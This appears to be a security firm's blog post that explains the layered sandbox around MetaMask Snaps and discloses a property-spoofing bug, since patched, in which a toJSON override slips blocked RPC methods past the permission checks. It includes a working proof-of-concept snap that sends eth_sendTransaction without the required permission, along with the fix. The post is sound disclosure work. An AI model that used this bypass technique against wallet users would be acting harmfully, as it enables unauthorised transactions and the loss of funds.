Nov 1, 2023

Metamask Snaps: Playing in the Sand

A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.

Heading image of Metamask Snaps: Playing in the Sand

Overview

Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.

Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.

In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.

Sandbox Security

In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.

Permission-based security

Each snap is built to have only the permissions it needs to hold. These permissions are specified in the snap.manifest.json file and can be critical to security.

Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.

Here are the critical permissions possible to be given to a snap:

  • snap_getBip44Entropy and snap_getBip32Entropy -> a malicious snap retrieving keypair leads to loss of funds
  • endowment:transaction-insight -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks

Snap execution environment

Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:

  1. An isolated iframe
  2. LavaMoat
  3. SES (Secure EcmaScript)

Isolated Iframe - Layer 1

Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an Iframe environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.

The Framework: Metamask-Extension Repo

The process of snap execution kicks off within the metamask-extension repository's metamask-controller.js file. Here's a glimpse of the relevant code:

// Import snaps-controllers
// ...
const snapExecutionServiceArgs = {
  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),
  messenger: this.controllerMessenger.getRestricted({
    name: 'ExecutionService',
  }),
  setupSnapProvider: this.setupSnapProvider.bind(this),
};

// Define IFRAME_EXECUTION_ENVIRONMENT_URL
process.env.IFRAME_EXECUTION_ENVIRONMENT_URL =
  'https://execution.metamask.io/0.36.1-flask.1/index.html';
// ...

This code is defining the snapExecutionServiceArgs object, which contains information required for the IframeExecutionService to execute snaps. The IFRAME_EXECUTION_ENVIRONMENT_URL points to the location where the execution environment resides.

Executing Snaps: IframeExecutionService in Action

Inside the snaps-controller package's IframeExecutionService.ts file, the IframeExecutionService orchestrates snap execution. Again, here's a snippet of the relevant code:

// Register message handlers for snap interactions
this.#messenger.registerActionHandler(
  `${controllerName}:handleRpcRequest`,
  async (snapId: string, options: SnapRpcHookArgs) =>
    this.handleRpcRequest(snapId, options),
);

// More handlers for executeSnap, terminateSnap, etc.
// ...

// Execute a snap
async executeSnap(snapData: SnapExecutionData) {
  // Initialize job, streams, and environment
  const { jobId } = await this.initJob(snapData);
  const { worker, stream } = await this.initEnvStream(jobId);
  // ...
}

The IframeExecutionService registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ${controllerName}:executeSnap handler triggers the snap execution process.

Step-by-Step Execution: From Initialization to iFrame creation

protected async initEnvStream(jobId: string): Promise<{
    worker: Window;
    stream: BasePostMessageStream;
  }> {
    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);

    const stream = new WindowPostMessageStream({
      name: 'parent',
      target: 'child',
      targetWindow: iframeWindow,
      targetOrigin: '*',
    });

    return { worker: iframeWindow, stream };
  }

Here the iframe is created via createWindow, which is defined in snaps-utils package:

const iframe = document.createElement('iframe');
    iframe.setAttribute('id', id);
    iframe.setAttribute('data-testid', 'snaps-iframe');

    if (sandbox) {
      iframe.setAttribute('sandbox', 'allow-scripts');
    }
    iframe.setAttribute('src', uri);
    document.body.appendChild(iframe);

This enables the iframe to be created with sandbox attributes, ensuring secure execution.

LavaMoat against Supply Chain Attacks - Layer 2

Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.

Malicious dependencies might utilize built-in modules like fs. Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.

In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.

This is how a Policy file related to the iframes looks:

"@metamask/post-message-stream": {
      "globals": {
        "MessageEvent.prototype": true,
        "WorkerGlobalScope": true,
        "addEventListener": true,
        "browser": true,
        "chrome": true,
        "location.origin": true,
        "postMessage": true,
        "removeEventListener": true
      },
      "packages": {
        "@metamask/post-message-stream>@metamask/utils": true,
        "@metamask/post-message-stream>readable-stream": true
      }
    }

One crucial aspect of the policy, apart from the globals section, is the packages segment. This section permits the @metamask/post-message-streampackage to exclusively interact with the package @metamask/utils and readable-stream. It ensures that interactions with potentially compromised packages are disallowed.

LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES lockdown function to freeze all javascript builtins prototypes.

Secure EcmaScript (SES) sandbox - Layer 3

Within the iframe and after the lavamoat execution, the metamask sandbox uses the Secure EcmaScript (SES) as a way to setup limits to the snap. Let's dig into how it works:

SES Fundamentals

Lockdown

As the first step of setting up the SES sandbox, Metamask executes the lockdown() function, which protects javascript objects against some attacks, mainly:

  1. Prototype Pollution Lockdown executes Object.freeze against all javascript builtins prototypes, preventing these attacks.
  2. Information disclosure Lockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the trace attribute in an Error object, which contains the stack trace of the error.
Compartment

Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the globalThis object to exclusively accommodate secure functions. Consequently, any code executed within this controlled globalThis context is incapable of tampering with security.

const c = new Compartment();
c.globalThis === globalThis; // false
c.globalThis.JSON === JSON; // true

Compartment also changes the behaviour of evaluators functions such as eval and the Function constructor, so that the evaluated code is also executed within the sandboxed globalThis.

Endowments

While creating a Compartment, it is possible to specify endowments. These endowments constitute objects that become accessible within the Compartment's globalThis. However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.

In addition, SES provides the harden() function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.

Setting up Snaps Execution Env

When starting a snap, the setup follows these steps:

  1. Create endowments based on snap permissions
const { endowments, teardown: endowmentTeardown } = createEndowments(
    snap,
    ethereum,
    snapId,
    _endowments,
);

In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.

One clear example is the endowment:network-access permission, that adds the fetch() function to the endowments.

All endowments are protected with the harden function to prevent possible exploits derived from the endowment modification, with two exceptions.

  1. Create the snap compartment
const compartment = new Compartment({
    ...endowments,
    module: snapModule,
    exports: snapModule.exports,
});

Note: module and exports are passed as endowments, but without being hardened. This is intentional, as the snap needs to export functions to be correctly executed.

  1. Evaluate the snap code inside the compartment
await this.executeInSnapContext(snapId, () => {
    compartment.evaluate(sourceCode);
    this.registerSnapExports(snapId, snapModule);
});

According to the documentation, the snap must contain one of the following function exports: onRpcRequest, onTransaction or onCronjob.

Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed globalThis environment of that Compartment.

After the evaluation, the function exports are registered and executed later when the respective event is emmited.

Vulnerability research

Possible attacks

While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:

  • Broken SES Container isolation
  • Insecure endowments in Containers
  • Incorrect RPC permission checks
  • Insecure snap installation/update

We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.

To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.

RPC interfaces endowments

Providers limitations

A snap has two interfaces that can be used to communicate with metamask RPC interface: snap and ethereum (EIP-1193). These differ in that each one can only send a subset of the available RPC methods:

export function assertSnapOutboundRequest(args: RequestArguments) {
  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.
  assert(
    String.prototype.startsWith.call(args.method, 'wallet_') ||
      String.prototype.startsWith.call(args.method, 'snap_'),
    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',
  );
  assert(
    !BLOCKED_RPC_METHODS.includes(args.method),
    ethErrors.rpc.methodNotFound({
      data: {
        method: args.method,
      },
    }),
  );
  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');
}

This function is called by the snap RPC provider, so it can only send methods starting with wallet_ or snap_. In addition, there are some blocked RPC methods that immediately throw an error when encountered.

On the other hand, the ethereum provider only blocks methods starting with snap_ and the blocked methods. However, it requires the endowment:ethereum-provider permission in the snap manifest.

Execution flow

Both providers (snap and ethereum) are built outside the SES container with a request function:

  const request = async (args: RequestArguments) => {
      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);
      const sanitizedArgs = getSafeJson(args);
      this.notify({ method: 'OutboundRequest' });
      try {
        return await withTeardown(
          originalRequest(sanitizedArgs as unknown as RequestArguments),
          this as any,
        );
      } finally {
        this.notify({ method: 'OutboundResponse' });
      }
    };

In particular, this function is from the snap provider, but the only thing that changes between this and ethereum is the assert function in the first line.

As we can see in the code, the execution flow follows this pattern:

  1. Assert if args are valid
  2. getSafeJson to get sanitizedArgs
  3. originalRequest(sanitizedArgs)

Obs: originalRequest makes the RPC call to metamask service worker

Safe JSON Exploit

As we dug further into thegetSafeJson function (defined in @metamask/utils package) we discovered the following code:

export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {
  assertStruct(value, UnsafeJsonStruct);
  return JSON.parse(
    JSON.stringify(value, (propKey, propValue) => {
      // Strip __proto__ and constructor properties to prevent prototype pollution.
      if (propKey === '__proto__' || propKey === 'constructor') {
        return undefined;
      }
      return propValue;
    }),
  );
});

The function performs a JSON.parse(JSON.stringify(value)) in the argument sent to getSafeJson. This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a toJSON function in a legit snap.request argument:

  1. assertSnapOutboundRequest(args) -> pass the assertion
  2. sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object
  3. originalRequest(sanitizedArgs) -> forwards the malicious object

The assertion bypass can be useful on two occasions:

  1. forward blocked RPC methods
  2. Making requests in snap.request that were only supposed to be done within ethereum.request (with endowment:ethereum-provider enabled).

This particular vulnerability allows the snap to perform ethereum requests without permissions.

Impact

The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.

Proof of Concept

To demonstrate the issue, we created a snap without the endowment:ethereum-provider permission, and used the snap interface to call eth_sendTransaction. According to the documentation, this shouldn't be possible:

import { OnRpcRequestHandler } from '@metamask/snaps-types';


function jsonExploit(){
  let x = [] as any

  x.method = "snap_dialog"

  x.toJSON = () => {
    return {
      method: "eth_requestAccounts",
      params: []
    }
  }

  return snap.request(x)

}

function transactionExploit(){
  let x = [] as any

  x.method = "snap_dialog"

  x.toJSON = () => {
    return {
      method: "eth_sendTransaction",
      params: [{
        from: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", // change this to your address
        to: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d",
        value: "0x1",
      }]
    }
  }

  return snap.request(x);
}

export const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {

  switch (request.method) {
    case 'json':
      return jsonExploit();
    case 'transaction':
      return transactionExploit();
    default:
      throw new Error('Method not found.');
  }
};

We set x.method = "snap_dialog" to pass the assertion and setup a toJSON function to change this method to eth_sendTransaction after.

Mitigation

Metamask mitigated this issue by asserting the arguments after the getSafeJson function execution. The patch was introduced on commit 168ff08 with the following changes:

const request = async (args: RequestArguments) => {
-      assertEthereumOutboundRequest(args);
-      const sanitizedArgs = getSafeJson(args);
+      const sanitizedArgs = getSafeJson(args) as RequestArguments;
+      assertEthereumOutboundRequest(sanitizedArgs);

Conclusion

This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.

Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.